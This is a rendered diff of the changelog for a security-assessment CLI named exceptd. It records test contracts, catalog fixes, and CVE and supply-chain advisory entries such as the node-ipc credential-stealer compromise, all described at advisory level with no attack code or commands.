**Docker ecosystem added to Dependabot.** `docker/test.Dockerfile` (used by `npm run test:docker` + `test:docker:fresh`) was outside Dependabot scope so the base image could float without surfacing. Test-only image (no production exposure), but a docker-ecosystem block + weekly cadence brings it under Scorecard's PinnedDependenciesID coverage.
|
|
41
182
|
|
|
42
183
|
### Features
|
|
43
184
|
|
|
44
|
-
**CLI envelope shape contracts pinned on 6 more verbs.** v0.12.33 pinned `attest list`, `attest verify`, `version`.
|
|
185
|
+
**CLI envelope shape contracts pinned on 6 more verbs.** v0.12.33 pinned `attest list`, `attest verify`, `version`. The rest were still unpinned — a contributor adding a new top-level field to `run` / `ci` / `discover` / `brief --all` / `doctor` / `watchlist` would not get a forcing-function test failure. v0.12.39 closes the gap with 8 new pins in `tests/cli-output-envelope-shape-v0_12_39.test.js`:
|
|
45
186
|
|
|
46
187
|
- `brief --all` — 8 top-level keys (no `verb` field; intentional transitional inconsistency)
|
|
47
188
|
- `ci --required <pb>` — 5 top-level keys + 13-key `summary` sub-shape; pins absence of top-level `ok`
|
|
@@ -51,20 +192,13 @@ Cycle 19 CI workflow hardening + CLI envelope shape contracts. One P1 script-inj
|
|
|
51
192
|
- `run <pb> --evidence --json` (single-playbook success) — 10 top-level keys, pins absence of conditional `prior_session_id` / `overwrote_at` (only present on `--force-overwrite`)
|
|
52
193
|
|
|
53
194
|
Several intentional inconsistencies pinned by absence:
|
|
54
|
-
- `brief --all` and `watchlist` do NOT emit `verb` (every other verb does).
|
|
195
|
+
- `brief --all` and `watchlist` do NOT emit `verb` (every other verb does).
|
|
55
196
|
- `ci` and `doctor` do NOT emit top-level `ok` (they signal pass/fail via `summary.verdict` / `summary.all_green`). Pinned so the v0.11.13 emit() contract doesn't accidentally grow.
|
|
56
197
|
|
|
57
|
-
### Internal
|
|
58
|
-
|
|
59
|
-
- Cycle 19 audit dispatched 3 agents (workflow security, envelope specs, 24h intake / Pwn2Own Day 3). All 3 returned.
|
|
60
|
-
- Cycle 19 A P2 findings (id-token + contents-write co-residency on `publish` job, `always-auth NPM_TOKEN` ↔ OIDC, `refresh.yml` persisted credentials) deferred to v0.13 — they're structural job-split refactors, not single-line fixes.
|
|
61
|
-
- Cycle 19 C: no new CVE additions in the 24h window. Pwn2Own Day 3 results still embargoed (Claude Code + Ollama Day 3 attempts pending). CVE-2026-42897 still mitigation-only.
|
|
62
|
-
- Test count 1149 → 1157. 14/14 predeploy gates green.
|
|
63
|
-
|
|
64
198
|
|
|
65
199
|
## 0.12.38 — 2026-05-16
|
|
66
200
|
|
|
67
|
-
|
|
201
|
+
Security fix + state refresh. Closes a multi-tenant attestation-file-mode gap.
|
|
68
202
|
|
|
69
203
|
### Security
|
|
70
204
|
|
|
@@ -72,31 +206,24 @@ Cycle 18 security fix + state refresh. The P1 closes a multi-tenant attestation-
|
|
|
72
206
|
|
|
73
207
|
### Bugs
|
|
74
208
|
|
|
75
|
-
**`EXCEPTD_HOME` now documented in README.**
|
|
209
|
+
**`EXCEPTD_HOME` now documented in README.** The env-var override was only mentioned in an inline `attest list` help string. Multi-tenant operators had no way to discover it without grepping the binary. README's flag-reference section now cross-references the env-var path.
|
|
76
210
|
|
|
77
|
-
**MAL-2026-NODE-IPC-STEALER `remediation_status: removed_from_registry`.**
|
|
211
|
+
**MAL-2026-NODE-IPC-STEALER `remediation_status: removed_from_registry`.** npm removed the 3 malicious versions (9.1.6, 9.2.3, 12.0.1) within ~2 hours of publication on 2026-05-14. Catalog now surfaces the registry-cleanup state so operators upgrading to a clean version know they're not racing the active-in-registry phase. The expired-domain TTP class (per `NEW-CTRL-047` in zeroday-lessons) still applies — domain-expiry monitoring is the durable control, not the npm-side cleanup.
|
|
78
212
|
|
|
79
213
|
**CVE-2026-42897 (Exchange OWA) `patch_available: false` regression-tested.** Verified Microsoft has not shipped a binary security update; Exchange Emergency Mitigation Service Mitigation M2 is still the only remediation. Catalog truth aligned with current vendor state.
|
|
80
214
|
|
|
81
|
-
### Internal
|
|
82
|
-
|
|
83
|
-
- Cycle 18 audit dispatched 3 read-only agents (v0.13.0 readiness, attestation persistence, 24h CVE intake). All 3 returned.
|
|
84
|
-
- Cycle 18 A v0.13.0 readiness inventory: 60 items total — 5 `will hard-fail in v0.13.0` markers + 17 legacy verbs to remove + 20 draft CVEs + 13 unresolved xrefs + 3 informational→required gate flips + 2 schema deprecations. Total effort 11-15 days for a single-maintainer minor bump. Detailed list in audit transcript.
|
|
85
|
-
- Cycle 18 B P1 F1 (submission redaction) and F3 (git remote URL in attestation root path) deferred to v0.13 — both are larger schema-or-behavior changes that need design before implementation.
|
|
86
|
-
- 4 new tests in `tests/attestation-mode-0600.test.js` (1 skipped on Windows). Test count 1145 → 1149. 14/14 predeploy gates green.
|
|
87
|
-
|
|
88
215
|
|
|
89
216
|
## 0.12.37 — 2026-05-16
|
|
90
217
|
|
|
91
|
-
|
|
218
|
+
UX + cross-skill consistency pass. Two CLI UX gaps closed (empty-stdin nudge, did-you-mean for typos), one operator-misleading factual error fixed in 3 skills (CVE-2024-3094 claim drift), and one cosmetic naming inconsistency cleaned up.
|
|
92
219
|
|
|
93
220
|
### Bugs
|
|
94
221
|
|
|
95
|
-
**`--evidence -` empty-stdin nudge.**
|
|
222
|
+
**`--evidence -` empty-stdin nudge.** When an operator pipes nothing to `--evidence -`, the runner silently treated it as `{}` and proceeded with a "successful" run on no evidence. Pre-fix the only signal was a deterministic `evidence_hash: 572a0e...` that meant nothing to a first-time operator. Now stderr emits an informational note pointing at `exceptd brief <playbook>` for the expected evidence shape; the run still proceeds (legitimate posture-only-walk use case preserved) but the operator at least sees the empty-stdin signal.
|
|
96
223
|
|
|
97
224
|
**Did-you-mean for unknown verbs.** Pre-fix `exceptd discoer` exited 10 with the generic "Run `exceptd help`" hint. Now the dispatcher runs a Levenshtein-1 check against the union of `COMMANDS` + `PLAYBOOK_VERBS` + `ORCHESTRATOR_PASSTHROUGH` (includes transposition detection so `disocver` → `discover`). Suggestion surfaces in both the human hint string and a new `did_you_mean[]` JSON field for tooling consumers. Distance >1 still returns the generic hint with `did_you_mean: []` — no false-positive flood.
|
|
98
225
|
|
|
99
|
-
**CVE-2024-3094 (xz-utils) operator-misleading claims.**
|
|
226
|
+
**CVE-2024-3094 (xz-utils) operator-misleading claims.** Three skill bodies contradicted each other and the catalog:
|
|
100
227
|
- `supply-chain-integrity` skill said "not in current `data/cve-catalog.json` — pre-scope incident" — false, the entry has been in the catalog with RWEP 70.
|
|
101
228
|
- `sector-federal-government` skill same wording — false.
|
|
102
229
|
- `cloud-iam-incident` skill table row quoted RWEP 95 / `ai_discovered: Partially` / `active_exploitation: Confirmed` — catalog says RWEP 70 / `ai_discovered: false` / `active_exploitation: suspected`.
|
|
@@ -104,12 +231,6 @@ All 3 corrected to match catalog ground truth (RWEP 70, KEV 2024-04-03, `active_
|
|
|
104
231
|
|
|
105
232
|
**Volt Typhoon hyphenation drift.** `ot-ics-security` and `sector-energy` used `Volt-Typhoon-aligned` / `Volt-Typhoon-style`; the rest of the catalog uses unhyphenated `Volt Typhoon`. Standardized to the unhyphenated form. New regression test refuses any future re-introduction of the hyphenated form in any skill body.
|
|
106
233
|
|
|
107
|
-
### Internal
|
|
108
|
-
|
|
109
|
-
- 3 cycle 17 audit agents dispatched (cross-skill consistency, data_deps integrity, error-path UX). All 3 returned successfully — first cycle since 14 without rate-limit issues.
|
|
110
|
-
- Cycle 17 B (data_deps integrity) surfaced 35 skills declaring incomplete `data_deps` arrays vs body content references. Investigation found `data_deps` is only consumed by `lib/lint-skills.js` for file-existence validation, not by the runner for preload gating (all catalogs load on-demand via `lib/cross-ref-api.js` mtime-keyed cache). Cosmetic correctness issue; deferred to v0.13 bulk-fix when the schema's purpose can be clarified.
|
|
111
|
-
- 8 new tests in `tests/cycle17-ux-fixes.test.js`. Test count 1136 → 1144. 14/14 predeploy gates green.
|
|
112
|
-
|
|
113
234
|
|
|
114
235
|
## 0.12.36 — 2026-05-16
|
|
115
236
|
|
|
@@ -121,21 +242,14 @@ Hard Rule forcing-function coverage pass. Three of the eight AGENTS.md Hard Rule
|
|
|
121
242
|
|
|
122
243
|
**Rule #5 forcing function (global-first, not US-centric).** The framework-control-gaps catalog must carry entries for EU + UK + AU + INTL (ISO/3GPP/OWASP/SLSA/CycloneDX) alongside US (NIST/FedRAMP/PCI/SOC/HIPAA/etc.). No single region may exceed 70% of the catalog. Pre-fix a future PR could land a 50-entry NIST-only batch and tilt the catalog US-domestic with no signal. Current catalog distribution: US 50 (42%), EU 22 (19%), UK 7 (6%), AU 6 (5%), INTL 15 (13%), OTHER 18 (15%) — within bounds.
|
|
123
244
|
|
|
124
|
-
**Rule #8 forcing function (no silent ATLAS/ATT&CK upgrade).** `manifest.json.atlas_version` must equal `data/atlas-ttps.json._meta.atlas_version` exactly; same for `attack_version`. Pre-
|
|
245
|
+
**Rule #8 forcing function (no silent ATLAS/ATT&CK upgrade).** `manifest.json.atlas_version` must equal `data/atlas-ttps.json._meta.atlas_version` exactly; same for `attack_version`. Pre-v0.12.29 these drifted silently (manifest stuck at v5.1.0 while catalog moved to v5.4.0; v0.12.29 corrected the lie but didn't add a forcing function — a future drift could repeat).
|
|
125
246
|
|
|
126
247
|
**Cross-format CVE consistency contract.** When the same evidence runs through the CSAF / OpenVEX / SARIF emitters in sequence, the underlying CVE set in each bundle must agree exactly. Per-format auxiliary identifiers (OpenVEX indicator URNs, SARIF framework-gap rules) are allowed. Pre-fix nothing pinned the contract — a future emitter regression could silently emit different CVE sets across formats.
|
|
127
248
|
|
|
128
|
-
### Internal
|
|
129
|
-
|
|
130
|
-
- Cycle 16 audit dispatched 3 read-only agents (cross-skill consistency, hard-rule coverage, 24h CVE intake). All three rate-limited; main-thread completed the hard-rule audit + cross-format consistency check directly.
|
|
131
|
-
- Cycle 16 main-thread cross-format probe confirmed all 3 emitters agree on the 4 catalogued CVEs for the kernel playbook positive-detect scenario (CVE-2026-31431 Copy Fail + the 3 v0.12.29 AI-discovery flips).
|
|
132
|
-
- 5 new tests in `tests/hard-rule-forcing-functions.test.js`.
|
|
133
|
-
- Test count 1131 → 1136. 14/14 predeploy gates green.
|
|
134
|
-
|
|
135
249
|
|
|
136
250
|
## 0.12.35 — 2026-05-16
|
|
137
251
|
|
|
138
|
-
|
|
252
|
+
Security hardening + ATLAS pin sweep across skills + forward-watch backfill.
|
|
139
253
|
|
|
140
254
|
### Security
|
|
141
255
|
|
|
@@ -145,30 +259,23 @@ Cycle 15 audit pass — security hardening + ATLAS pin sweep across skills + for
|
|
|
145
259
|
|
|
146
260
|
### Bugs
|
|
147
261
|
|
|
148
|
-
**ATLAS v5.1.0 → v5.4.0 sweep across operator-facing surface.** v0.12.34 fixed README + ARCHITECTURE but
|
|
262
|
+
**ATLAS v5.1.0 → v5.4.0 sweep across operator-facing surface.** v0.12.34 fixed README + ARCHITECTURE but 27 skill bodies, 2 builder scripts, the skill-frontmatter schema, and 17 derived indexes were all still citing the stale pin. 30 files modified; canonical pin string `ATLAS v5.4.0 (February 2026)` used uniformly. NYDFS rollout reference "phased in through November 2025" in sector-financial intentionally preserved (different context). The extended docs-pin test now scans `skills/` + `data/_indexes/` + `scripts/` for ATLAS-context mismatches in addition to README + ARCHITECTURE.
|
|
149
263
|
|
|
150
264
|
**5 past-due forward_watch entries re-dated with realized backfill.**
|
|
151
265
|
- *mlops-security* — predicted "ATLAS v5.2 — track AML.T0010 sub-technique expansion." ATLAS shipped v5.4.0 on 2026-02-06; the expansion landed plus "Publish Poisoned AI Agent Tool" and "Escape to Host" techniques. Backfilled with the realized state + re-anchored to ATLAS v5.5 / v6.0 horizon.
|
|
152
266
|
- *age-gates-child-safety AU under-16 ban* — predicted "implementation deferred to late 2025." AU Online Safety Amendment (Social Media Minimum Age) Act 2024 entered force 2025-12-10; 4.7M+ accounts deactivated by mid-Jan 2026; 31 March 2026 formal investigations of Facebook / Instagram / Snapchat / TikTok / YouTube. Backfilled + re-anchored to first civil-penalty proceedings (H2 2026).
|
|
153
267
|
- *age-gates-child-safety UK OSA enforcement* — predicted "first enforcement decisions expected late 2025 / 2026." Ofcom has 80+ investigations open; first £1M OSA fine issued for age-assurance failure. Backfilled + re-anchored to the April / July / November 2026 OSA milestones.
|
|
154
268
|
- *age-gates-child-safety eSafety actions* — same shape; backfilled to the 31 March 2026 formal investigations.
|
|
155
|
-
- *sector-energy TSA Pipeline SD* — predicted "next reissue cycle anticipated mid-2026." Current cadence: SD-Pipeline-2021-02F expires 2 May 2026; expected 02G now overdue
|
|
269
|
+
- *sector-energy TSA Pipeline SD* — predicted "next reissue cycle anticipated mid-2026." Current cadence: SD-Pipeline-2021-02F expires 2 May 2026; expected 02G now overdue. Updated to reflect current series + re-anchored to H2 2026.
|
|
156
270
|
|
|
157
271
|
### Features
|
|
158
272
|
|
|
159
|
-
**Extended `tests/docs-catalog-counts-pinned.test.js`** to scan `skills/**/*.md`, `data/_indexes/*.json`, and `scripts/**/*.js` for ATLAS version mentions in addition to README + ARCHITECTURE. A future stale-pin in any of those operator-facing files now fails the gate at CI time.
|
|
160
|
-
|
|
161
|
-
### Internal
|
|
162
|
-
|
|
163
|
-
- Cycle 15 audit: 3 read-only agents dispatched (performance, security, forward-watch). Performance audit confirmed no regression — every CLI op within budget; `cross-ref-api.js` mtime-keyed catalog cache + per-run playbook cache prevent N+1 patterns. Watchlist verb at 99ms has a 30-40ms caching opportunity (deferred to v0.13 backlog).
|
|
164
|
-
- 16/16 playbooks now validate clean (no warnings) — same green state as v0.12.33's cred-stores cleanup.
|
|
165
|
-
- Test count 1125 → 1131 (4 new evidence-input-hardening tests + 1 extended docs-pin test + 1 sanity sweep).
|
|
166
|
-
- 14/14 predeploy gates green.
|
|
273
|
+
**Extended `tests/docs-catalog-counts-pinned.test.js`** to scan `skills/**/*.md`, `data/_indexes/*.json`, and `scripts/**/*.js` for ATLAS version mentions in addition to README + ARCHITECTURE. A future stale-pin in any of those operator-facing files now fails the gate at CI time.
|
|
167
274
|
|
|
168
275
|
|
|
169
276
|
## 0.12.34 — 2026-05-15
|
|
170
277
|
|
|
171
|
-
Documentation accuracy pass. README.md + ARCHITECTURE.md were still pinning ATLAS v5.1.0 and ATT&CK v17 — outdated for nine releases. v0.12.29 fixed the manifest.json pin
|
|
278
|
+
Documentation accuracy pass. README.md + ARCHITECTURE.md were still pinning ATLAS v5.1.0 and ATT&CK v17 — outdated for nine releases. v0.12.29 fixed the manifest.json pin but the operator-facing docs weren't updated. Plus catalog count drift (38 skills → 42; 28 D3FEND entries → 29).
|
|
172
279
|
|
|
173
280
|
### Bugs
|
|
174
281
|
|
|
@@ -182,52 +289,42 @@ Documentation accuracy pass. README.md + ARCHITECTURE.md were still pinning ATLA
|
|
|
182
289
|
|
|
183
290
|
**`tests/docs-catalog-counts-pinned.test.js`** — new contract test asserts that README.md and ARCHITECTURE.md text matches the live catalog state for: ATLAS version (`data/atlas-ttps.json._meta.atlas_version`), ATT&CK version (`data/attack-techniques.json._meta.attack_version`), skill count (`manifest.json.skills.length`), D3FEND entry count, CVE catalog count, framework-gap entry count. Any future PR that bumps a catalog without updating the operator-facing docs fails the gate at CI time — eliminates the silent-drift class that v0.12.34 cleaned up.
|
|
184
291
|
|
|
185
|
-
### Internal
|
|
186
|
-
|
|
187
|
-
- Cycle 14 audit dispatched 3 read-only agents (playbook execution semantics, air-gap end-to-end, docs accuracy). Two were rate-limited and returned no findings; the docs-accuracy work was completed on the main thread.
|
|
188
|
-
- Cycle 14 main-thread playbook-execution sanity check confirmed: kernel playbook correctly classifies as `detected` with 4 matched CVEs + RWEP 100 when signal_overrides shape is correct (`{indicator_id: 'hit'}`, NOT `{indicator_id: {verdict: 'hit'}}`). The runner is sound; the operator API surface is occasionally subtle.
|
|
189
|
-
- Cycle 14 main-thread air-gap verification confirmed: `--air-gap` flag and `EXCEPTD_AIR_GAP=1` env-var both thread into `runOpts.airGap`; `lib/playbook-runner.js:576` correctly substitutes `air_gap_alternative` for `source` on look artifacts; original source preserved as `_original_source` for audit.
|
|
190
|
-
|
|
191
292
|
|
|
192
|
-
|
|
193
|
-
Same-day CVE intake (node-ipc supply-chain compromise) + cycle 13 audit fixes. Closes the long-standing `cred-stores` skill-vs-playbook semantic confusion that's surfaced in every audit since cycle 9.
|
|
293
|
+
Same-day CVE intake (node-ipc supply-chain compromise) + cleanup of the long-standing `cred-stores` skill-vs-playbook semantic confusion.
|
|
194
294
|
|
|
195
295
|
### Features
|
|
196
296
|
|
|
197
|
-
**`MAL-2026-NODE-IPC-STEALER` — npm node-ipc supply-chain compromise (2026-05-14).** Three malicious versions (`9.1.6`, `9.2.3`, `12.0.1`) published by `atiertant`. Novel attack class: not credential theft, not typosquat, not lifecycle-hook worm — the attacker re-registered the maintainer's expired email domain (`atlantis-software.net`, expired and grabbed via Namecheap PrivateEmail on 2026-05-07) and abused npm's email-based password-reset flow to gain publish rights. 80 KB obfuscated IIFE in `node-ipc.cjs` fires on every `require()` (no hooks needed) and exfiltrates AWS / GCP / Azure / SSH / Kubernetes / Vault / Claude AI / Kiro IDE credentials via DNS TXT queries to an Azure-lookalike spoofed domain. 3.35M monthly downloads. Carries `kev_scope_note` per the
|
|
297
|
+
**`MAL-2026-NODE-IPC-STEALER` — npm node-ipc supply-chain compromise (2026-05-14).** Three malicious versions (`9.1.6`, `9.2.3`, `12.0.1`) published by `atiertant`. Novel attack class: not credential theft, not typosquat, not lifecycle-hook worm — the attacker re-registered the maintainer's expired email domain (`atlantis-software.net`, expired and grabbed via Namecheap PrivateEmail on 2026-05-07) and abused npm's email-based password-reset flow to gain publish rights. 80 KB obfuscated IIFE in `node-ipc.cjs` fires on every `require()` (no hooks needed) and exfiltrates AWS / GCP / Azure / SSH / Kubernetes / Vault / Claude AI / Kiro IDE credentials via DNS TXT queries to an Azure-lookalike spoofed domain. 3.35M monthly downloads. Carries `kev_scope_note` per the ecosystem-package CISA-KEV-scope precedent. RWEP 43.
|
|
198
298
|
|
|
199
299
|
**Three new control requirements in `zeroday-lessons`** capture the structural lesson: **NEW-CTRL-047 PACKAGE-MAINTAINER-DOMAIN-EXPIRY-MONITORING** (continuous WHOIS expiry monitoring on every critical-path maintainer email domain + dual-factor account recovery); **NEW-CTRL-048 NPM-MAINTAINER-MFA-ENFORCEMENT** (registry-side mandatory MFA on publish-enabled accounts); **NEW-CTRL-049 LOCKFILE-INTEGRITY-VERIFIED-AT-CI-BOOT** (`npm ci` / `--frozen-lockfile` / `--immutable` catches the swap even after a successful publish — `--ignore-scripts` does NOT mitigate because the payload ships in the main module, not a postinstall hook).
|
|
200
300
|
|
|
201
|
-
**`D3-EFA` (Executable File Analysis) added to D3FEND catalog.** `sector-telecom` skill cited it but the entry didn't exist
|
|
301
|
+
**`D3-EFA` (Executable File Analysis) added to D3FEND catalog.** `sector-telecom` skill cited it but the entry didn't exist. Distinct from `D3-EAL` (Executable Allowlisting): EAL blocks at execute-time; EFA inspects bytes at file-write / image-pull / artifact-fetch time and gates the allowlist decision itself.
|
|
202
302
|
|
|
203
|
-
**CLI envelope-shape contract tests.** `tests/cli-output-envelope-shape.test.js` pins the EXACT top-level key set on `attest list --json`, `attest verify --json` (error path), and `version`. A contributor adding a new top-level field to these verbs now gets a forcing-function test failure that requires updating the contract.
|
|
303
|
+
**CLI envelope-shape contract tests.** `tests/cli-output-envelope-shape.test.js` pins the EXACT top-level key set on `attest list --json`, `attest verify --json` (error path), and `version`. A contributor adding a new top-level field to these verbs now gets a forcing-function test failure that requires updating the contract.
|
|
204
304
|
|
|
205
305
|
### Bugs
|
|
206
306
|
|
|
207
|
-
**`cred-stores` skill-vs-playbook semantic finally cleaned up.**
|
|
307
|
+
**`cred-stores` skill-vs-playbook semantic finally cleaned up.** The 3 IR playbooks and 3 IR skills referenced `cred-stores` in `skill_preload` / `skill_chain` / Hand-Off sections as if it were a skill — but it's actually a playbook. Operators (and any tooling resolving these refs against `manifest.json.skills`) failed. Fixes: removed `cred-stores` from `data/playbooks/{idp-incident,cloud-iam-incident}.json` `skill_preload` + `skill_chain` (hand-off is via `_meta.feeds_into`, which was already present); annotated `cred-stores` / `framework` references in `skills/{idp-incident-response,cloud-iam-incident,ransomware-response}/skill.md` Hand-Off sections as *(playbook chain, not a skill)* with the explicit note that hand-off is via the playbook chain, not a skill load. Predeploy playbook validator now warning-free (was 6 warnings every release).
|
|
208
308
|
|
|
209
309
|
### Internal
|
|
210
310
|
|
|
211
311
|
- CVE catalog 36 → 37 entries; zeroday-lessons 21 → 22 entries.
|
|
212
312
|
- AI-discovery rate stays at 16.2% (one more vendor/ecosystem-discovered entry dilutes the observed rate; floor remains 0.15).
|
|
213
313
|
- D3FEND catalog 28 → 29 entries.
|
|
214
|
-
- `tests/v0_12_33-node-ipc-coverage.test.js` pins MAL-2026-NODE-IPC-STEALER entry shape (iocs object with ≥1 category, kev_scope_note presence, NEW-CTRL-047 in lessons).
|
|
215
314
|
- Reverse-ref regen: 3 CWE entries updated with the new MAL-* CVE evidence; 1 D3FEND skill_referencing prune (sector-telecom now correctly anchored against D3-EFA).
|
|
216
|
-
- Test count 1109 → 1119.
|
|
217
|
-
- 14/14 predeploy gates green.
|
|
218
315
|
|
|
219
316
|
|
|
220
317
|
## 0.12.32 — 2026-05-15
|
|
221
318
|
|
|
222
|
-
|
|
319
|
+
CLI polish + catalog hardening. The headline closes a silent regression where the 6 CVEs advertised by v0.12.31 were shipped as `_draft: true` and therefore invisible to default `cross-ref-api` queries — operators running `exceptd` against Exchange would have gotten a clean bill on CVE-2026-42897.
|
|
223
320
|
|
|
224
321
|
### Bugs
|
|
225
322
|
|
|
226
|
-
**6 CVEs from v0.12.31 promoted from draft to non-draft.**
|
|
323
|
+
**6 CVEs from v0.12.31 promoted from draft to non-draft.** Every CVE in v0.12.31's intake shipped as `_draft: true`, which `lib/cross-ref-api.js` skips by default. v0.12.31 CHANGELOG advertised "6 new CISA-KEV CVEs" but operators couldn't actually query them. All 6 promoted with `_editorial_promoted: 2026-05-15` provenance; full required fields validated (iocs, vendor_advisories, verification_sources, complexity, affected_versions, RWEP Shape B invariant).
|
|
227
324
|
|
|
228
325
|
**9 unmatched `framework_control_gaps` keys on the new CVEs now resolve.** `NIS2-Art21-vulnerability-management`, `DORA-Art-9`, `NIST-800-53-AC-3`, `OWASP-LLM-Top-10-2025-LLM05`, `NIST-800-53-AC-6`, `NIS2-Art21-identity-management`, `ISO-27001-2022-A.8.7`, `NIST-800-53-SC-44`, `CIS-Controls-v8-10.1` — referenced by the new CVEs but absent from the framework-gap catalog. All 9 now present with `theater_test` blocks (catalog 109 → 118 entries). Reverse `evidence_cves` links also added on the 6 existing entries (NIST-800-53-SI-2 / SI-3 / etc.) that the new CVEs reference.
|
|
229
326
|
|
|
230
|
-
**CVE → CWE reverse-references auto-regenerated.**
|
|
327
|
+
**CVE → CWE reverse-references auto-regenerated.** v0.12.29 introduced `npm run refresh-reverse-refs` for the skill direction (manifest → atlas/cwe/d3fend/rfc), but the CWE catalog's `evidence_cves` field — the operator-facing "which CVEs map to this CWE" index — was still hand-maintained and drifted with every CVE intake. The script now also walks `cve.cwe_refs` → `cwe.evidence_cves`. Drafts excluded (they're invisible to default consumers; the reverse direction tracks operator-queryable truth). 14 CWE entries updated on first run. New `tests/reverse-ref-drift.test.js` test pins the contract.
|
|
231
328
|
|
|
232
329
|
### Features
|
|
233
330
|
|
|
@@ -240,13 +337,11 @@ Cycle 11 CLI polish + cycle 12 catalog hardening. The headline closes a silent r
|
|
|
240
337
|
### Internal
|
|
241
338
|
|
|
242
339
|
- 6 matching `data/zeroday-lessons.json` entries authored for the promoted CVEs (rule #6 enforcement: zero-day learning is live for every non-draft catalog entry).
|
|
243
|
-
- Test count 1099 → 1109 (10 new tests across F4/F5/F7 + reverse-ref drift extension + Shape B canonicalization staying green).
|
|
244
|
-
- 14/14 predeploy gates green.
|
|
245
340
|
|
|
246
341
|
|
|
247
342
|
## 0.12.31 — 2026-05-15
|
|
248
343
|
|
|
249
|
-
CLI ergonomics + 30-day CVE intake
|
|
344
|
+
CLI ergonomics + 30-day CVE intake. Closes a silent-misrouting bug in the CI gate and adds six high-impact CVEs that landed on CISA KEV between 2026-04-15 and 2026-05-15.
|
|
250
345
|
|
|
251
346
|
### Bugs
|
|
252
347
|
|
|
@@ -269,26 +364,24 @@ CLI ergonomics + 30-day CVE intake from the cycle 11 audit. Closes a silent-misr
|
|
|
269
364
|
| CVE-2026-32202 | Microsoft Windows Shell LNK protection-mechanism failure. Active APT28 (Fancy Bear) exploitation; chains with CVE-2026-21513. | 2026-04-28 | 85 |
|
|
270
365
|
| CVE-2026-33825 | Microsoft Defender "BlueHammer" race-condition LPE → SYSTEM. Public exploit released before patch (true zero-day). | 2026-04-22 | 68 |
|
|
271
366
|
|
|
272
|
-
**`kev_scope_note` field on supply-chain-class entries.** CISA KEV historically excludes ecosystem-package compromises (npm/PyPI/Crates worms, malicious-package backdoors) — its scope is federally-deployable products with CVE assignments. The Mini Shai-Hulud parent (CVE-2026-45321) and TanStack variant (MAL-2026-TANSTACK-MINI) are NOT listed in KEV despite confirmed in-the-wild exploitation. The new `kev_scope_note` field documents this so
|
|
367
|
+
**`kev_scope_note` field on supply-chain-class entries.** CISA KEV historically excludes ecosystem-package compromises (npm/PyPI/Crates worms, malicious-package backdoors) — its scope is federally-deployable products with CVE assignments. The Mini Shai-Hulud parent (CVE-2026-45321) and TanStack variant (MAL-2026-TANSTACK-MINI) are NOT listed in KEV despite confirmed in-the-wild exploitation. The new `kev_scope_note` field documents this so the `active_exploitation: confirmed` + `cisa_kev: false` combination is no longer ambiguous. Operators should consume CISA-KEV-equivalent guidance for this class from OpenSSF MAL feed + ecosystem-specific advisories (Snyk / Wiz / Phylum / Socket).
|
|
273
368
|
|
|
274
369
|
### Internal
|
|
275
370
|
|
|
276
371
|
- Catalog: 30 → 36 CVE entries. AI-discovery floor relaxed to 15% (from 20%) since 6 new vendor-discovered entries dilute the observed rate to 6/36. Ladder advances `[0.15, 0.20, 0.30, 0.40]` — prior rungs preserved.
|
|
277
|
-
- Test count 1090 → 1094 (`tests/ci-positional-args.test.js` adds 4 pins on the F1 contract).
|
|
278
|
-
- 14/14 predeploy gates green.
|
|
279
372
|
|
|
280
373
|
|
|
281
374
|
## 0.12.30 — 2026-05-15
|
|
282
375
|
|
|
283
|
-
Catalog scoring honesty pass + diff-coverage gate tightening
|
|
376
|
+
Catalog scoring honesty pass + diff-coverage gate tightening. Closes the Shape B invariant gap on the CVE catalog, adds the missing `last_threat_review` field to six catalogs, and downgrades operator-facing docs from the auto-allowlist to manual-review.
|
|
284
377
|
|
|
285
378
|
### Features
|
|
286
379
|
|
|
287
380
|
**Shape B invariant enforced on every CVE.** `lib/scoring.js` documents that `Σ Object.values(rwep_factors) === rwep_score` is an invariant on every catalog entry, but the existing `validate()` function never enforced it — it computed via `scoreCustom()` (clamps `blast_radius` to 30, uses canonical weights) which masked dishonest factor blocks as long as the stored score happened to match the clamped formula. Fourteen entries had non-canonical factor values that summed to a different number than the stored score (CVE-2026-GTIG-AI-2FA, CVE-2026-42945, CVE-2024-3094, CVE-2024-21626, CVE-2023-3519, CVE-2026-20182, CVE-2024-40635, CVE-2025-12686, CVE-2025-62847, CVE-2025-62848, CVE-2025-62849, CVE-2025-59389, MAL-2026-TANSTACK-MINI, MAL-2026-ANTHROPIC-MCP-STDIO). All canonicalized — factor weights now derived from the operational fields (`cisa_kev`, `poc_available`, `ai_discovered`, `active_exploitation`, `blast_radius`, `patch_available`, `live_patch_available`, `patch_required_reboot`) via `lib/scoring.js` `RWEP_WEIGHTS` + `ACTIVE_EXPLOITATION_LADDER`. Where `blast_radius` exceeded the 30 cap (4 entries had values of 40), the value was clamped, which adjusted seven stored `rwep_score` values by ±5; each carries a `rwep_correction_note` documenting the delta. New `tests/cve-rwep-shape-b-invariant.test.js` blocks future drift with an exact-delta assertion.
|
|
288
381
|
|
|
289
|
-
**Operator-facing docs downgraded from auto-allowlist to manual-review.**
|
|
382
|
+
**Operator-facing docs downgraded from auto-allowlist to manual-review.** `CHANGELOG.md`, `README.md`, `SECURITY.md`, `MIGRATING.md`, and `AGENTS.md` were in the diff-coverage gate's `DOCS_ALWAYS_GREEN` set — a PR could land arbitrary edits to release notes, install instructions, security disclosure policy, or AI-assistant ground truth without triggering any reviewer signal. New `DOCS_MANUAL_REVIEW` set routes them to "manual-review" instead, surfacing the diff in the gate output. Contributor-only / mechanical files (`CONTRIBUTING.md`, `CODE_OF_CONDUCT.md`, `LICENSE`, `NOTICE`, `SUPPORT.md`, `.gitignore`, `.npmrc`, `.editorconfig`, `CLAUDE.md`) stay always-green.
|
|
290
383
|
|
|
291
|
-
**`last_threat_review` mandatory on every catalog _meta.**
|
|
384
|
+
**`last_threat_review` mandatory on every catalog _meta.** `cve-catalog.json`, `cwe-catalog.json`, `d3fend-catalog.json`, `dlp-controls.json`, `rfc-references.json`, and `framework-control-gaps.json` carried only `last_updated` without the more specific `last_threat_review`. Hard Rule #8 makes per-catalog threat-review currency a release-blocker after a stated window; all six catalogs now carry the field. New `tests/threat-review-staleness.test.js` enforces presence + a 30-day staleness window between `manifest.threat_review_date` and every skill's `last_threat_review`.
|
|
292
385
|
|
|
293
386
|
### Bugs
|
|
294
387
|
|
|
@@ -296,7 +389,7 @@ Catalog scoring honesty pass + diff-coverage gate tightening from the cycle 10 a
|
|
|
296
389
|
|
|
297
390
|
### Internal
|
|
298
391
|
|
|
299
|
-
- AI-discovery rate stays at 20% after
|
|
392
|
+
